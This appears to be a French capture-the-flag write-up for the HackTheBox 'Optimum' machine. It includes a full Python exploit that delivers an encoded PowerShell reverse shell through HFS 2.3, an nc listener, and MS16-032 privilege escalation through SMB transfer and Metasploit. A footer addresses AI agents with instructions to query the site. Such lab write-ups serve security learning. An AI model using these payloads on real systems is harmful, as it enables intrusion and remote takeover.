> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md). # Récapitulatif HackTheBox d'Optimum Récapitulatif HackTheBox Windows facile Optimum couvrant HFS 2.3 RCE et l'élévation de privilèges MS16-032. {% embed url="" %} {% hint style="warning" %} **Techniques** * Exécution de code à distance HttpFileServer 2.3 * Énumération d’hôte Windows * Élévation de privilèges locale MS16-032 {% endhint %} ## Reconnaissance ### Préparer l’espace de travail Créez un répertoire dédié pour la machine : ```bash mkdir Optimum cd Optimum ```

Le `127` Le TTL suggère que la cible exécute Windows.

### Découvrir les ports ouverts Analysez tous les ports TCP et enregistrez les résultats : ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts ``` Nmap identifie le port `80` comme le seul port ouvert.

### Identifier le service web Exécutez la détection de version et les scripts par défaut sur le port `80`: ```bash sudo nmap -sCV -p80 10.129.5.151 -oN targeted ```

La cible exécute HttpFileServer 2.3. Cette version présente une vulnérabilité d’exécution de code à distance connue. ```bash searchsploit httpfileserver ```

### Exploiter HFS 2.3 Utilisez le script Python suivant pour envoyer un reverse shell PowerShell encodé. Mettez d’abord à jour les valeurs de l’écouteur et de la cible : ```bash import requests import urllib import base64 lhost = '10.10.15.2' # Changez ceci lport = '1234' # Changez ceci rhost = '10.129.5.151' # Changez ceci rport = '80' # Changez ceci command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' command_bytes = command.encode('utf-16le') base64_bytes = base64.b64encode(command_bytes) encodedcommand = base64_bytes.decode('ascii') payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand encodedpayload = urllib.parse.quote_plus(payload) url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}' r = requests.get(url) if r.status_code == 200: print('GET Request Sent') else: print('Failed to Send Request') ``` Démarrez un écouteur avant d’exécuter le script : ```bash rlwrap nc -nvlp 1234 ``` Exécutez l’exploit depuis votre machine locale : ```bash python3 rce.py ``` La cible se connecte en retour avec un reverse shell PowerShell.

### Récupérer le flag utilisateur {% code overflow="wrap" %} ```bash type C:\Users\kostas\Desktop\user.txt ``` {% endcode %} * f2f8d68c549c18e1b94d2c99207e3022

## Élévation de privilèges ### Identifier la voie d’élévation de privilèges Inspectez le système d’exploitation cible : {% code overflow="wrap" %} ```bash systeminfo ``` {% endcode %} La cible exécute Windows Server 2012 R2.

L’hôte est vulnérable à l’élévation de privilèges du noyau x64 MS16-032. {% embed url="" %} Téléchargez le dépôt de l’exploit et repérez le payload compilé : {% code overflow="wrap" %} ```bash windows-kernel-exploits/MS16-032/x64/ms16-032.exe ``` {% endcode %} ### Transférer l’exploit Démarrez un serveur SMB dans le répertoire contenant l’exploit : {% code overflow="wrap" %} ```bash sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support ``` {% endcode %} Copiez l’exécutable sur la cible : ```bash copy \\10.10.15.2\share\ms16-032.exe . ```

```bash copy \\10.10.15.2\share\MS16-032.ps1 . ``` Le payload PowerShell n’est pas disponible sur cet hôte.

### Exploiter MS16-032 avec Metasploit Utilisez Metasploit comme alternative : {% code overflow="wrap" %} ```bash search ms16-032 ``` {% endcode %}

Sélectionnez le module MS16-032 et exécutez-le contre la session active : {% code overflow="wrap" %} ```bash use 0 set SESSION 2 run getuid ``` {% endcode %} La session s’exécute désormais en tant que `NT AUTHORITY\SYSTEM`.

### Récupérer le flag root {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %} * 0d795fff7eac20e753543b412dfa5c34

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.